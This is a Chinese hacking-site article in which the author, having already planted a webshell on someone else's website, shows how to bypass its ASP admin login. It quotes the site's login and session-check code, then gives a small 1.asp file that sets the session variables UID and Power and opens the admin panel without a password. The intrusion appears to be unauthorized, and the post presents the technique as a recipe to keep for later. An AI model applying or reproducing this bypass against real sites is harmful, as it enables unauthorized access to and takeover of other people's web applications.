伪造Session登陆后台

• 前不久拿到一个站webshell
  
  发现里面有个站程序还不错..可密码一直找不到..
  看登陆验证代码的时候就想是否可以修改代码..绕过验证访问后台呢..记的以前nowthk教过我..可怜我这个记性啊..给忘了..又请教了下nowthk...
  
  login.asp的验证代码
  
  <%    dim user_name,user_passWord,upwr,uID,ukey,cmd,rs
        user_name=trim(request.form("uid"))
        user_password=trim(request.form("pwd"))      
        user_password=jk_md5(user_password,"long")
     if user_name="" or user_password="" then
        close_conn
        response.redirect "../global/systeminfo.asp?flag=1"
     end if  
  如果用户和密码为空就返回global/systeminfo.asp?flag=1  这个页面提示"错误帐号或密码，请重新登陆"
  在往下看代码
  
     session("UID")=rs("UserName")
        session("power")=rs("Power")
        Session("PSW")=rs("PSW")
         rs.close:set rs=Nothing
        set cmd=Nothing
        close_conn
        response.redirect("../system/default.asp")        
  
  
  如果UID,,power.PSW不为空就返回system/default.asp登陆成功
  
  checkuser.asp代码为
  <%
     
     if session("UID")="" then
        response.redirect "../gobal/systeminfo.asp?flag=1"
        response.end
     end if  
  %>
  
  session("UID")为空同样返回gobal/systeminfo.asp?flag=1
  那也就是说只要UID参数不为空就登陆成功
  
  然后把以下代码保存为1.asp
  
  
  <%
  session("UID")="1"
  Session("Power")="1"
  %>
  
  先访问1.asp..然后再访问后台system/default.asp..绕过了验证..看到了后台管理页面
  
  记录下..省的以后又忘记了
  

  
  

• [1] [2] 下一页 
• 复制本页网址和标题，发送给你QQ/Msn的好友一起分享
  
  
• 伪造Session登陆后台 相关文章：
• ·伪造Session登陆后台
• 伪造Session登陆后台 相关软件

上一篇:黑客破解常用电脑密码实用技巧大全

下一篇:网络大盗惊见升级版 你敲键盘我偷密码

• 特别声明：本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载，但请务必注明出处和原始作
• 者.文章版权归文章原始作者所有.对于被本站转载文章的个人和网站，我们表示深深的谢意。如果本站转
• 载的文章有版权问题请联系编辑人员,我们尽快予以更正. 转载请注明来源：http://www.hackhome.com

精品推荐

热点TOP10

特别推荐